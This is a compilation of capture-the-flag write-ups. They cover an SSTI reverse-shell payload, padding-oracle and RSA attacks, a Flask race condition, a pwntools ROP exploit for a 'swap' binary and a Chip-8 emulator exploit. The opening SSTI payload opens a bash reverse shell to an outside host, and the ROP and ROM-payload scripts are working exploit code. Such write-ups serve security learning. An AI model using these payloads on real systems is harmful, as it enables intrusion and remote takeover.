final payload= ```{{ app.__init__.__globals__.sys.modules.os.system("bash -c 'sh -i >& /dev/tcp/<server-ip>/1234 0>&1'") }}```
And in your system do: ```nc -lvp 1234```
And you got reverse-shell :) |
# Teaser Dragon CTF 2018 : AES-128-TSB
**category** : crypto
**points** : 219
**solves** : 46
## write-up

The problem implement a new kind of AES mode
It check the last decrypt block equal to IV
There are two things we can use in `server.py`
1. `unpad`: `msg[:-ord(msg[-1])]`2. `a == b`: It compares string for us after decryption
First, how to bypass the check for mac
Observe that `P2 = IV + j1 + j2`
We just need to make `j1 == j2`, which is the same as `i1 == i2`
Second, we can alter the last bit of `P1` using IV last bit, and compare the string with empty string
If `1 <= P1[-1] <= 15` then the unpad P1 will not be an empty string, otherwise it will be an empty string.
Using above method, we can recover last bit of `j1`
Since we know last bit of `j1`, we can unpad any bytes we want through manipulating last bit of IV.
Brute force `0-255` to compare with each byte in `j1` ( just make first 15 bytes of IV `\x00` )
After get a `i1` and `j1` pair, we can make `gimme_flag` string
Then recover the encrypted flag using the same method
Because there are many requests, and the network is slow, it takes about an hour to get the flag...
`DrgnS{Thank_god_no_one_deployed_this_on_production}`
# other write-ups and resources
|
## Ez dos (rev)
### Solution
We are given a DOS .com file, it will output the flag if the license entered is correct.Read the disassembly and you will get the constraint :
```str = "1337SHELL"input[:4] == str[:4]input[5] == "-"input[6] == 0x66 ^ str[5]input[7] == 0x79 ^ str[6]input[8] == 0x74 ^ str[7]input[9] == 0x79 ^ str[8]
=> input == "1337-5115"```
### Flag
```SECT{K3YG3N_MU51C_R0CK5}``` |
C++ binary with some anti-debug measures. No big deal, just patch out things I don't like.
A 70-byte string is expected as input from a file `.secret-license-file`. An array of 70 strings are prepared, they turned out to be md5 hashes.
Our string needs to satisfy the following code
```is_correct = Truefor i in range(70): if md5(md5(b64encode(rot13(input)[i]))) != hash_array[i]: is_correct = False
if is_correct: print("You have installed your software!")else: print("Piracy is bad!")``` |
# Hotornot
>According to my friend Zuck, the first step on the path to great power is to rate the relative hotness of stuff... think Hot or Not.
## The setupOh boy this was a good one. We get a huge (68mb) file which upon closer examination reveals itself to be a patchwork of pictures of hot dogs and cute doggos of all sorts. Looking at it from afar, you distinguish some pattern. The reference in the challenge is actually not Zuck (hot or not was the first app that Zuckerberg coded while at Harvard where he basically dumped all the pictures from female undergrads and put them on a website where you could rate them, thus creating the ancestor of both facebook and Tinder). The giveaway was the hot dog pictures: in the HBO show Silicon Valley, Jin Yiang creates and app to detect hot dogs or not, which incedentally, while absolutely useless in its original scope, turns out to be great to filter out NSFW pictures on social apps. It works using machine learning, i.e. (simplified) you give the algo 10000 pictures of hot dogs, 10000 pictures of not-hot-dogs and trains it to recognize what is what.
## The bruteforcingThe size of the picture is 18710 x 18710. Assuming the pictures are also square, it left only a few possibilities, yielding a size of 210x210 pixels for each picture. A simple script to split them yields the 7569 individual ones. Now remained the matter of identiying them. I used a script frmo some silicon valley fan who recreated Jin Yiangs Algorithm and even provided a trained model. After a few small alterations and switching from my laptop to my main desktop, it took only around 20min to identify each as hotdog (=1) or not (=0).
## The solvingOnce done, you get a binary sequence of length 7569. I first thought it could be a file but no dice. I then went back to the original image and the original split. the 87x87 tipped me off: QR code! It also made sense in light of machine models being only accurate of to a point (meaning even a 1% deviation, which is awesome, would yield ~70 wrong results). So basically, split the array in lines of 87 and write to csv, open in Excel. The QR is broken in that the 3 identifying squares (Top right/top left/bottom left) are missing but can be easily added manually. Scanning it gives the flag.
In short, it was a great challenge but it requires some familiarity with machine learning as well as some intuituion. |
**This is just an overview of the solution, for the full details of the solution look at the URL.**
## Solution Overview
Reading the code, it is easy to see that getting the flag requires as to do two things: 1. Send an ciphertext that decrypts to `gimme_flag` to get the encrypted flag2. Decrypt the flag
Although _AES_ is set to _ECB_, a custom encryption mode is used, with padding. There is also a __decryption oracle__, since we can validate if `decrypt(cipher)==plaintext`. All these will be used to find craft the desired ciphertext and decrypt the flag.
We can analyze the `tsb_decrypt(msg)` function

By constructing the ciphertext in the form `(IV, C^IV, IV)` then __the plaintext will always be `plaintext=IV^decrypt(C)` with a proper MAC__.
We modify the IV to manipulate the padding and this allows us to brute force the byte by byte. We craft a message with plaintext `gimme_flag` and decrypt the flag. |
> We've burrowed ourselves deep within the facility, gaining access to the programable logic controllers (PLC) that drive their nuclear enrichment centrifuges. Kinetic damage is necessary, we need you to neutralize these machines.>> You can access this challenge at [https://wargames.ret2.systems/csaw_2018_plc_challenge](https://wargames.ret2.systems/csaw_2018_plc_challenge)
This is a pwn challenge on a custom online wargaming platform. We are provided with the assembly of what's ostensibly a programmable logic controller (PLC) for a centrifuge in a nuclear reactor. The challenge looks like it's still up, so you can take a look and follow along.
This was the first [ROP](https://en.wikipedia.org/wiki/Return-oriented_programming) (okay, spoiler, it's a ROP) I ever pulled off live during an actual CTF, which I was pretty excited about. The web platform meant I had to worry less about setup, and even though some of the tools it provided were a little lacking (no gdb shortcuts like `until`, no pwntools utilities for packing/unpacking numbers, ... no `one_gadget`), I think they ultimately made the whole thing a lot more educational for me, so kudos to the folks behind it.
The wargaming platform has a sequence of six checkpoints/achievements. The first four are simple enough once you reverse-engineer the assembly, the fifth just requires you to overflow a buffer (although it didn't tell this to you literally and I actually couldn't figure out what my goal was at first), but (as you'd expect) the sixth requires you to pop a shell and get the flag, which is ultimately the only thing that mattered for the CTF.
A summary of the steps:
- Reverse the `update_firmware` function, which reads in firmware from stdin and makes some checks that it's valid, including a fairly complicated checksum.- Reverse the `execute_firmware` function, which lets you write firmware that overflows a buffer representing the material being enriched, giving you control of one function pointer.- Leak `libc` first by overflowing right up to the end of the buffer, since there's a function pointer to `libc` right after it.- Then, use your one function pointer to set up a ROP, starting with a stack pivot ROP gadget to the large buffer in the main command-reading loop to allow the chain to continue, and carrying out a typical `execve` syscall ROP using gadgets in `libc`.
Read the rest of the writeup here: https://blog.vero.site/post/plc |
# The task.

* [original link](https://ctf.dragonsector.pl/?challenges) * [attach](https://expend20.github.io/assets/files/ctf/2018/dragonsector/lyrics.cc) * [ctftime](https://ctftime.org/event/648)
# Analyzing the source.
The only file we were given is [lyrics.cc](https://expend20.github.io/assets/files/ctf/2018/dragonsector/lyrics.cc). Let's make a quick walk-through.
```static bool list_songs() { char buffer[32] = { /* zero padding */ };
printf("Band: "); read_line(STDIN_FILENO, buffer, sizeof(buffer));
// Never trust user input!! if (!sanitize_path(buffer)) { printf("[-] Nice try!\n"); return false; }
char path[48] = "./data/"; strncat(path, buffer, sizeof(path) - 7);
std::vector<std::string> songs; if (!list_files(path, &songs)) { return false; }...
```
This `zero padding` looks weird, but when we analyze it more deeply, it turns out not very useful, because even if we force somehow `read_line()` not to modify buffer, that buffer will be passed to `list_files()`, which will compare that data with files on disk and print it, if files exists.
The second weird part is a deletion of values in the vector:
``` memmove(&globals::records[idx], &globals::records[idx + 1], (globals::records.size() - idx - 1) * sizeof(int)); globals::records.pop_back();```
But if we will analyze it more deeply, we can notice just shifting of values and pop from the end.
Another interesting plase is `sanitize_path()`:
```static bool sanitize_path(char *buffer) { if (strstr(buffer, "../") != NULL) { return false; }
return true;}```
`../` is filtered, but `..` is not, so we can try use it:
```$ nc lyrics.hackable.software 4141Welcome to the Lyrics Explorer!Command> songsBand: ..lyricsdatalyrics.ccflagCommand> ```
Yep, it works indeed. It's our first useful bug.
Let's try to read that files.
```$ nc lyrics.hackable.software 4141Welcome to the Lyrics Explorer!Command> openBand: ..Song: lyrics [+] Opened the lyrics as new record 0Command> readRecord ID: 0ELF???........```
Nice, it works just great.
At this point, I'm stuck for a while. I'm felt that we need to trigger this branch in `open_lyrics()` somehow:
``` // Better safe then sorry. Make sure that the path also doesn't point to a // symbolic link. int fd2 = open(path, O_RDONLY | O_NOFOLLOW); if (fd2 == -1) { printf("[-] Detected attempt to open a symbolic link!\n");
// Some kind of attack detected? return true; } close(fd2);
```
This is the only possibility in the code to open the flag file. I had enumerated all files and dirs to check if there is any symlink. There were no symlinks :(.
Suddenly my teammate proposed the idea, that if we could leak file descriptors and reach a limit of 32, we can trigger that brunch.
``` rlim.rlim_cur = rlim.rlim_max = 32; setrlimit(RLIMIT_NOFILE, &rlim);```
But there were no resource leaks, until some interesting place:
``` // Let's make sure we're not disclosing any sensitive data due to potential // bugs in the program. if (bytes_read > 0) { if (strstr(buffer, "DrgnS")) { printf("[-] Attack detected and stopped!\n");
assert(close(globals::records[idx]) == 0); memmove(&globals::records[idx], &globals::records[idx + 1], (globals::records.size() - idx - 1) * sizeof(int)); globals::records.pop_back(); return true; } }```
Let's check `assert()`'s manual:
>DESCRIPTION> If the macro NDEBUG was defined at the moment <assert.h> was last included, the macro assert() generates no code, and hence does nothing at all. Otherwise, the macro> assert() prints an error message to standard error and terminates the program by calling abort(3) if expression is false (i.e., compares equal to zero).
Indeed asserts can be disabled in the remote build. After checking, it turns out that they were disabled! So we could leak resources and open the flag file.
I thought it's the end, but the flag file itself is containing "DrgnS" string, so we can't read it directly.
Another bug I discovered when red files were that if you reach the end of the file, there were no any errors, I just continuously received last string of file. Why is that?
```static ssize_t read_line_buffered(int fd, char *buffer, size_t size) { if (size == 0) { return -1; }
ssize_t ret = read(fd, buffer, size - 1);
if (ret <= 0) { return ret; }
buffer[ret] = '\0';
for (ssize_t i = 0; i < ret; i++) { if (buffer[i] == '\0') { buffer[i] = '.'; } else if (buffer[i] == '\n') { buffer[i] = '\0'; lseek(fd, -(ret - i - 1), SEEK_CUR); return i; } }
return ret;}
```
That's because we hit `ret <= 0` branch, and we just printing `buffer` variable of caller's function:
```static bool read_lyrics() { printf("Record ID: "); int idx = load_int();
if (idx < 0 || idx >= globals::records.size()) { return false; }
char buffer[4096]; ssize_t bytes_read = read_line_buffered(globals::records[idx], buffer, sizeof(buffer));```
But wait! You said we can read flag? Where it would be placed?
Yes, it would be placed in that buffer. So we could just read some random lyrics file, until `read()` will return an error, then we could read the flag, get some error again, and call read of the file with EOF, this will print our flag finally.
The flag is `DrgnS{Huh_Ass3rti0n5_can_b3_unre1i4b13}`
Full expoit is [here](https://expend20.github.io/assets/files/ctf/2018/dragonsector/xpwn.py). |
**Description**
> Dear all> > Welcome to our new enterprise solution.> You can leave your business notes here.> Data is safe - cause we use strong encryption !> It is soooo safe, that even I am using this system.> You even can audit the code [here](files/webapp.py)> Plz DO NOT hax this - cause it is impossible !1111> > Regards> > Martin, the Webmaster > > URL: http://solution.hackable.software:8080
**Files provided**
- [`webapp.py`](https://github.com/EmpireCTF/empirectf/blob/master/writeups/2018-09-29-Teaser-Dragon-CTF/files/webapp.py)
**Solution** (by [Aurel300](https://github.com/Aurel300))
On our first visit to the webpage, we can only login or register. We can find out that the server is running Flask, although this is immediately obvious from the source code given.
The registration is normal enough:

The login is slightly unusual though, it emulates a 2FA system:

(No screenshot for the second form or anything else after, because the challenge is not working anymore. The form asks for the password and a 2FA token that is not actually implemented.)
Once we login, we can add notes, list all of our notes, and show specific notes. Whenever we look at a note, the browser first shows it encrypted, then it obtains our encryption key via AJAX, then proceeds to animate XOR-decryption of the note.
Even without looking at the source code, we can spot the first vulnerability: consecutive, non-encrypted IDs for notes. If we change the URL to `/note/show/0`, we get to see a note added by `admin`:
07D8B68CDB92A687DFC74217C9D7F47E84540A3C97BA3D2B8B5B3E1C110A4C54F09392 ADC910461BF61AA4AC6D921591556D1AAFCB8495144C27748369FC101847D7C2A9508F 6534FFB7BCF859FD3ED8863611400F9ECB56064C20EDF0B6F6B1BF1CBB522A91F0C9B2
The browser still animates XOR-decryption, but it uses our own key instead of `admin`'s, so the decrypted data is just garbage.
The note is 105 bytes, and our own key is only 20 bytes - perhaps this cipher could be broken? Well, after some playing around it is clear that the key is not 20 bytes, and is at least 100 bytes long. The simplest possible explanation is that the admin note is actually encrypted using proper [OTP](https://en.wikipedia.org/wiki/One-time_pad), unlike our own notes.
Now let's finally have a look at the source code. Most of it is basic Flask stuff. The `@loginzone` decorator is applied consistently, and it explains why `/note/show/0` was accessible to us - it simply checks IF whe are logged in, not WHO we are.
The one strange thing is in the bit that seemed unusual before - namely the two-step authentication process:
```python# first part of [email protected]('/login/user', methods=['POST'])def do_login_user_post(): username = get_required_params("POST", ['login'])['login'] backend.cache_save( sid=flask.session.sid, value=backend.get_key_for_user(username) ) state = backend.check_user_state(username) if state > 0: add_msg("user has {} state code ;/ contact backend admin ... ".format(state)) return do_render() flask.session[K_LOGGED_IN] = False flask.session[K_AUTH_USER] = username return do_302("/login/auth")
#second part of [email protected]("/login/auth", methods=['POST'])def do_auth_post(): flask.session[K_LOGGED_IN] = False username = flask.session.get(K_AUTH_USER) params = get_required_params("POST", ["password", "token"]) hashed = backend.password_hash(params['password']) record = sql_session.query(model.Users).filter_by( username=username, password=hashed, ).first() if record is None: add_msg("Fail to login. Bad user or password :-( ", style="warning") return do_render() # well .. not implemented yet if 1 == 0 and not backend.check_token(username, token=1): add_msg("Fail to verify 2FA !") return do_render() flask.session[K_LOGGED_IN] = True flask.session[K_LOGGED_USER] = record.username return do_302("/home/")```
The `backend.cache_save(...)` call is odd. Even before we are properly logged in, the cache contains the encryption key for that username, if it exists. (Also note that the challenge is probably called `3NTERPRISE` because caching becomes relevant with large-scale projects.) We cannot simply call the first step and get the encryption key, however, since the `getkey` API endpoint does not rely on the cache, not to mention that it requires a full login (`@loginzone`).
```[email protected]("/note/getkey")@loginzonedef do_note_getkey(): return flask.jsonify(dict( key=backend.get_key_for_user(flask.session.get(K_AUTH_USER)) ))```
But there is a place where the cached key is used:
```[email protected]("/note/add", methods=['POST'])@loginzonedef do_note_add_post(): text = get_required_params("POST", ["text"])["text"] key = backend.cache_load(flask.session.sid) if key is None: raise WebException("Cached key") text = backend.xor_1337_encrypt( data=text, key=key, ) note = model.Notes( username=flask.session[K_LOGGED_USER], message=backend.hex_encode(text), ) sql_session.add(note) sql_session.commit() add_msg("Done !") return do_render()```
So whichever key is in the cache (which may not be the one for our username!) will be used to encrypt the notes we submit. Since the encryption method is XOR, submitting a known plaintext will allow us to recover an unknown key.
But how to ensure a different key is cached?
The reason caching can be problematic is because there is a lot of things that can go wrong. The wrong user can be served personal details of another. Old information may be shown to the user, misinforming them. In the case of this challenge, the problem is time-based: there exists a race condition between the note adding (using the cached key) and the first step of the authentication (setting the cached key).
The first step of authentication is supposed to log out the user, which would prevent us from submitting notes and using the cached key. But before it logs us out, it puts the encryption key into the cached, and then does a state check of some sort, presumably a slow database operation.
So the plan is:
1. Login completely as our own user (`/login/user`, then `/login/auth`) 2. Do the first step of authentication as `admin` (`/login/user` again) 3. Create a known-plaintext note (`/note/add`)
The key is that 3 needs to happen a very short time after 2.
([Full exploit here](https://github.com/EmpireCTF/empirectf/blob/master/writeups/2018-09-29-Teaser-Dragon-CTF/scripts/3nterprise.sh))
During the CTF, there were some issues with the server being very slow (10+ seconds for a page load), so I didn't even try to exploit this. After some maintenance downtime, the service was slightly faster, though a page could still take up to 5 seconds to load, so I was somewhat sceptical. Much to my surprise, the exploit worked on the first try - there was a note encrypted with the admin key in the list of notes for our user. Then simply XORing that note with `aaa`... (which was the known plaintext) revealed the `admin` key, and XORing the `admin` key with the `admin` note revealed:
Hi. I wish U luck. Only I can posses flag: DrgnS{L0l!_U_h4z_bR4ak_that_5upr_w33b4pp!Gratz!} ... he he he
`DrgnS{L0l!_U_h4z_bR4ak_that_5upr_w33b4pp!Gratz!}` |
# CSAW CTF 2018 Qualification Round - Collusion
Writeup by: Andrew He
## ChallengeCrypto, 500 pts, 32 solves
Written by Brendan McMillion & Krzysztof Kwiatkowski, Cloudflare
### Files
* bobs-key.json* carols-key.json* common.go* message.json* generate-challenge.go
## tl;dr
We're given an RSA-based identity-based encryption (IBE) scheme, and two users'private keys. Turns out those are enough to figure out the group manager'sprivate key, allowing us to decrypt arbitrary messages.
## Deciphering the crypto system
I jumped on this problem after [betaveros](https://beta.vero.site/) had alreadyread and simplified the code, so I got a bit of a condensed form of the problem:we're given a large semiprime `N=pq`, integers `a`, `b`, `c`, `inv(x+b) modphi(N)`, `inv(x+c) mod phi(N)`, `3^(r*(x+a)) mod N`, and the flag encrypted with`3^r mod N` as the key (here, `p`, `q`, `r`, and `x` are unknowns). I'll diveinto a little more detail where these came from, but feel free to jump to thenext section for the solution and exploit.
The go files contain an identity-based encryption scheme, which allows anyone toencrypt data using just the recipient's name (you can think of it as apublic-key distribution system that magically uses a common public/private keyowned by a trusted third-party).
In this scheme, the trusted group manager first generates an RSA semi-prime `N =p * q` using safe primes `p = 2p'+1` and `q = 2q'+1`, as well as a secret value`x` modulo `phi(N)`. They publish `N` and `H = 3^x` as public keys. Also,there's a public function `DecrypterId` maps the identity (name) of therecipient to a deterministic integer modulo `N`.
For any recipient with `DecrypterId(recipient) = id`, the group managerdistributes `N` and `d = inv(x + id) mod phi(N)` as their private decryptionkey (presumably after properly verifying their identity).
To encrypt for a recipient with `DecrypterId(recipient) = id`, we first pick ashared secret `K = 3^r mod N` for a random `r`, and then produce thekey-encapsulation message (KEM) `V = (3^id * H)^r mod N = 3^(r*(x + id)) mod N`.The secret secret is used to encrypt the message with an AES cipher and a randomnonce plugged into Go's AEAD black box, and we send the triple `(V, AEAD(...),nonce)`.
To decrypt, the recipient can recover the shared secret by taking
V^d mod N = 3^(r*(x+id))^(inv(x+id) mod phi(N)) mod N = 3^r mod N
as in standard RSA.
In this problem, we're given Bob and Carols' secret keys, as well as anencrypted message for Alice containing the flag. From these, we can find:* `N` from the secret keys,* `a`, `b`, and `c`, the `DecrypterId`s of Alice, Bob, and Carol,* `inv(x+b) mod phi(N)` and `inv(x+c) mod phi(N)`, the secret keys of Bob and Carol,* `3^(r*(x+a)) mod N`, the KEM of the message* the message ciphertext and nonce itself
Interestingly, we weren't given the public encryption key, even though thechallenge program supposedly saves it. We didn't need it in the end, but just asmall oddity.
## Some number theory
The number theory part of this challenge was pretty short and sweet once we sawit.
In essence, we know `1/(x+b) mod phi(N)` and `1/(x+c) mod phi(N)` for given`b` and `c`, so we'd like to find some information about `x` or `phi(N)` orboth. We can't take modular inverses because `phi(N)` is unknown, so the nextbest thing is maybe working directly with the fractions.
A bit of experimentation led us to the identity
1/(x+b) - 1/(x+c) = (c-b) / (x+b) / (x+c) mod phi(N)
Note that we can compute the left hand side and right hand side of thisequation, so subtracting gives us a multiple of `phi(N)`. If we let thismultiple be `myPhi`, we can do our modular arithmetic modulo `myPhi`, and itwill be correct mod `phi(N)`!
In particular, we can just compute `x+b = inv(inv(x+b) mod phi) mod myPhi`,which allows us to find `x`, `x+a`, and `inv(x+a) mod myPhi`. Then, we can justuse `inv(x+a) mod myPhi` as Alice's decryption key to decrypt the flag, as it'scongruent to `inv(x+a) mod phi(N)`.
One small note: it's possible that the numbers we work with aren't relativelyprime with `myPhi`, in which case we can't take modular inverses. However, weknow that `x+b` and `x+a` are both relatively prime with `phi(N)`, so the commonfactors with `myPhi` must be extraneous, so we can just divide them out of`myPhi`. Fortunately, this didn't occur in the actual challenge data, so wedidn't have to implement this.
## Exploit
The exploit can be found in `exploit.go` and can be built with `go buildexploit.go common.go`. One weird point was having to implement `Decrypt`ourselves: the given code implemented `Encrypt` but not the matching function. |
```python#!/usr/bin/env python2from pwn import *context.binary = './swap'#context.log_level='debug'
#r = remote('localhost', 4000)r = remote('swap.chal.ctf.westerns.tokyo', 37567)libc = ELF('./libc.so.6')
atoi_got = 0x601050printf_got = 0x601038stack_check_fail_got = 0x601030exit_got = 0x601018puts_got = 0x601028stdin = 0x601090fscanf_got = 0x601020leave_ret = 0x4008e7pop_rdi = 0x400a53main = 0x4008e9puts_plt = 0x4006a0
def save_to_stack(adr1, adr2): r.sendafter('choice: ', '1') r.sendlineafter('address: ', str(adr1)) r.sendlineafter('address: ', str(adr2))
def swap(adr1, adr2): save_to_stack(adr1, adr2) r.sendafter('choice: ', '2')
# leak by format string vulnr.sendafter('choice: ', '5')swap(atoi_got, printf_got)r.sendafter('choice: ', '%p')buf = int(r.recvuntil('.')[:-2], 16)print 'Leaked buf:', hex(buf)r.sendafter('choice: ', 'AA') # restore atoi, printf
# buf+250 -> _start# use exit to grow stack and store data on itswap(exit_got, buf+250)
l1_buf_1 = buf + 0xa + 0x8*2 + 0x10l1_buf_2 = buf + 0xa + 0x8*2 + 0x18save_to_stack(puts_got, leave_ret)
r.sendafter('choice: ', '3')
l2_buf_1 = buf - 246 + 0x10l2_buf_2 = buf - 246 + 0x18save_to_stack(pop_rdi, main)
r.sendafter('choice: ', '3')
l3_buf_1 = buf - 502l3_buf_2 = buf - 502 + 8save_to_stack(puts_plt, main)
r.sendafter('choice: ', '3')
# edit exit() to leave_ret gadget# then build rop chain to leak libc base and return to mainrop_buf = buf - 734swap(rop_buf, l2_buf_1)swap(rop_buf+8, l1_buf_1)swap(rop_buf+16, l3_buf_1)swap(rop_buf+24, l2_buf_2)swap(exit_got, l1_buf_2)
r.sendafter('choice: ', '3')
r.recvuntil('Bye.')libc_base = u64(r.recvuntil('\x7f')[-6:]+'\x00\x00') - libc.symbols['puts']print 'Leaked libc base:', hex(libc_base)system = libc_base + libc.symbols['system']
swap(exit_got, l3_buf_2)
system_buf = buf - 742save_to_stack(system, 0)
r.sendafter('choice: ', '3')
swap(atoi_got, system_buf)r.sendafter('choice: ', 'sh')
r.interactive('>>')``` |
# Binary Exploitation - 6. Twitter
[Solve script](https://gitlab.com/blevy/redpwn-ctf-writeups/blob/master/icectf2018/twitter/solve.py)
## Points
800
## Description
> Someone left a time machine in the basement with classic games from the 1970s. Let me play these on the job, nothing can go wrong.
## Remarks
This was hard.
## Difficulty
Hard
## Initial experimentation
We are given a binary to download and an ssh connection containing the binary and a collection of `.ROM` files. There is no `flag.txt` file, making the challenge goal a bit unclear. Running `ls -l twitter`, we see that the binary is owned by a user called `target` and the setuid bit is set.
```-rwsr-xr-x. 1 target target 31104 Sep 11 11:04 twitter```
Sure enough, our `adversary` user doesn't have permission to access `/home/target`, meaning the flag is probably stashed in there.
So we need to escalate from `adversary` to `target`.
From the problem description and by searching some of the ROM names, we can determine that `twitter` is a Chip-8 emulator (what even is that?). Running `./twitter`, we can see the below message.
```Usage: ./twitter <ROM image>Use the following keys for navigation:|1|2|3|4||Q|W|E|R||A|S|D|F||Z|X|C|V|```
We can call `./twitter *rom name*` to ~~get distracted by~~ play some of the games. Since the ROM files are the only relevant input to the program, we can guess that the solution would be running `./twitter` on a `PAYLOAD.ROM` that gives a shell and lets us view `/home/target`.
## Finding the vulnerability
Running checksec on the binary shows this output:
```โ twitter checksec -f twitter RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILEPartial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 4 twitter```
The only unhardened security settings are partial RELRO and lack of stack canaries. Partial RELRO is the default, but lack of stack smash protection isn't. This means that the challenge creator made a point to compile with `-fno-stack-protector`. Already, we can take a guess that this challenge involves ROP.
I also took a guess that the vulnerability was that the emulator could read and write outside the emulator's designated program memory. I went on the unofficial, but excellent Chip-8 [reference](http://devernay.free.fr/hacks/chip8/C8TECH10.HTM) by Cowgod. I did a quick search on the page for "address."
> There is also a 16-bit register called I. This register is generally used to store memory addresses, so only the lowest (rightmost) 12 bits are usually used.
This sounds suspicious ?. If the 4 upper bits *are* used, could we perform a read to bypass ASLR and a write to overwrite the return address?
```+---------------+= 0xFFF (4095) End of Chip-8 RAM| || || || || || 0x200 to 0xFFF|| Chip-8 || Program / Data|| Space || || || |+- - - - - - - -+= 0x600 (1536) Start of ETI 660 Chip-8 programs| || || |+---------------+= 0x200 (512) Start of most Chip-8 programs| 0x000 to 0x1FF|| Reserved for || interpreter |+---------------+= 0x000 (0) Start of Chip-8 RAM```
This memory layout diagram shows that the Chip-8 RAM is only 4095 bytes, yet the pointer register `I` is 16 bits. It is easy to imagine that a lazy emulator author (or a CTF challenge creator) would not worry about out-of-bounds checking.
Now, we actually need to reverse the binary, both to confirm that it has this vulnerability, and to measure offsets of the return address and a pointer to somewhere in libc to bypass ASLR.
To make reversing easier, we can look at the Chip-8 struct constructor code in `Chip8::Chip8(Screen*,Keyboard*)` and try to deduce the struct format.
### Chip-8 struct
```struct chip8 { void *screen; // 0 void *keyboard; // 8 uint8_t V[0x10]; // 0x10 uint8_t mem[0x1000]; // 0x20 uint16_t I; // 0x1020 uint16_t pc; // 0x1022 uint8_t unknown1; // 0x1024 uint8_t unknown2; // 0x1025 uint8_t unknown3[0x20]; // 0x1026} __attribute__((packed));```
This information makes reversing parts of the emulator loop much easier. The `Chip8::Step()` method emulates one Chip-8 instruction. It uses nested branching and switch statements to dispatch instructions, which is a bit unwieldy, but I was eventually able to find the code for emulating `ADD I, Vx`. It did not perform bounds checking. I checked `LD [I], Vx` and `LD Vx, [I]`, the opcodes for loading and storing to and from memory. Again, there is no bounds checking code. At this point, the exploit idea was confirmed.
## More information gathering
There was no shell-giving function compiled into the binary, so ret2libc was necessary. I ran `ldd twitter` to find the libc that was being used, and I snagged the libc to my local machine. Running `one_gadget` on the libc, we can see that it has three one-gadgets that we can jump to for getting a shell.
The next step was to find the value that `I` had to be set to to seek the return address and the leak of ASLR. Using the radare2 local variables display and the reversed struct layout, we can find that `I` should be set to 6360 for the return address, since the beginning of emulator memory is at `rbp-0x18f0+0x20` and the return address is at `rbp+0x8`.
```; var int local_18f8h @ rbp-0x18f8 ; var int chip8 @ rbp-0x18f0 ; var int keyboard @ rbp-0x8a0 ; var int screen @ rbp-0x850 ; var int local_40h @ rbp-0x40 ; var int local_11h @ rbp-0x11 ```
To leak ASLR, I opened the binary in gdb and used the `telescope $rbp` command to dump the stack.
```6392| 0x7fffffffe058 --> 0x7ffff7a59223 (<__libc_start_main+241>: mov edi,eax)```
This points inside a libc function, allowing ASLR to be thwarted. Subtracting the offset from `$rbp` of the beginning of emulated process memory, we can get the value that `I` must be to read the ASLR leak: 0x18f8.
## Pwning
So we need to make an evil Chip-8 binary which will:
1. Read the ASLR leak from the stack2. Add the distance to the one-gadget3. Write the result to the return address
To accomplish this, I wrote a script for generating redundant parts of the payload, essentially using Python functions as assembler macros.
```# Set I to the value of offdef seek_I(off): assert off > 0xfff assert off < 2 ** 16 p = '' # Set I to off p += '\xAf\xff' # LD I, 0xfff reg_I = 0xfff while reg_I < off: if off - reg_I < 0xff: p += '\x6a' + chr(off - reg_I) # LD Va, (off - reg_I) reg_I += off - reg_I else: p += '\x6a\xff' # LD Va, 0xff reg_I += 0xff p += '\xfa\x1e' # ADD I, Va return p
# Read the 64 bit value at off into V0-V7def read64(off): p = '' p += seek_I(off) p += '\xf7\x65' # LD V7, [I] return p
# Write the 64 bit value in V0-V7 to offdef write64(off): p = '' p += seek_I(off) p += '\xf7\x55' # LD [I], V7 return p
# Add the immediate val to the 64 bit value stored in V0-V7def add64i(val): p = '' p += '\x68' + p64(val)[0] # LD V8, p64(val)[0] p += '\x80\x84' # ADD V0, V8 p += '\x89\xf0' # LD V9, Vf p += '\x81\x94' # ADD, V1, V9 p += '\x68' + p64(val)[1] # LD V8, p64(val)[1] p += '\x81\x84' # ADD V1, V8 p += '\x89\xf0' # LD V9, Vf p += '\x82\x94' # ADD, V2, V9 p += '\x68' + p64(val)[2] # LD V8, p64(val)[2] p += '\x82\x84' # ADD V2, V8 p += '\x89\xf0' # LD V9, Vf p += '\x83\x94' # ADD, V3, V9 p += '\x68' + p64(val)[3] # LD V8, p64(val)[3] p += '\x83\x84' # ADD V3, V8 p += '\x89\xf0' # LD V9, Vf p += '\x84\x94' # ADD, V4, V9 p += '\x68' + p64(val)[4] # LD V8, p64(val)[4] p += '\x84\x84' # ADD V4, V8 p += '\x89\xf0' # LD V9, Vf p += '\x85\x94' # ADD, V5, V9 p += '\x68' + p64(val)[5] # LD V8, p64(val)[5] p += '\x85\x84' # ADD V5, V8 p += '\x89\xf0' # LD V9, Vf p += '\x86\x94' # ADD, V6, V9 p += '\x68' + p64(val)[6] # LD V8, p64(val)[6] p += '\x86\x84' # ADD V6, V8 p += '\x89\xf0' # LD V9, Vf p += '\x87\x94' # ADD, V7, V9 p += '\x68' + p64(val)[7] # LD V8, p64(val)[7] p += '\x87\x84' # ADD V7, V8 return p
p = ''p += read64(leak_loc_off)p += add64i(one_gadget_off - leak_off)p += write64(ret_addr_off)p += '\x00\xfd' # EXIT
print 'Writing payload to ROM...'with open('PAYLOAD.ROM', 'w') as f: f.write(p)print 'PAYLOAD.ROM written'```
`Vf` here is the carry register, which is 1 when the previous operation overflowed.
The addition code didn't initially work as planned and needed debugging. One debugging technique I used which was immensely helpful was putting the reversed struct in `types.h` and following the instructions [here](https://gist.github.com/logc/c37ef4f5604430bfbf5625bf7546d4cd) so gdb can print the state of the emulated CPU at each instruction.
After many failed attempts and debugging, I finally got a shell!
```[adversary ~]$ ./twitter PAYLOAD.ROMbash4.4$```
## Apparently I wasn't done
After seeing the shell, I ran `whoami` to confirm that I was the `target` user.
```bash4.4$ whoamiadversary```
At this point, I assumed the challenge was broken and contacted an organizer.
The organizer insisted that the challenge wasn't broken.
> yes> correct, you have find some way to maintain the uid
After a bit of digging I found this on [StackOverflow](https://superuser.com/questions/532121/what-does-p-do-on-shell-script):
> If Bash is started with the effective user (group) id not equal to the real user (group) id, and the `-p` option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the `-p` option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
Looking at `/bin` on the ssh server, I saw that `dash` was installed, which does not have this issue. I had two options at that point. I could call `bash` with the `-p` flag, or I could call `dash`. Either one would require a ropchain more complex than just a simple one-gadget, but I decided on calling `dash`.
## Forging the ropchain
